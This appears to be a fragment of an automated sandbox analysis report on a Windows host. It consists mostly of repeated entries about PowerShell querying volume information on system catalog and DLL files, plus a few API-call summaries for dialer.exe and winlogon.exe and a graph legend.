Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\dialer.exe Code function: 5_2_00007FF67E6C1C64 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW, 5_2_00007FF67E6C1C64
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A697A40 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 8_2_000002EA8A697A40
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
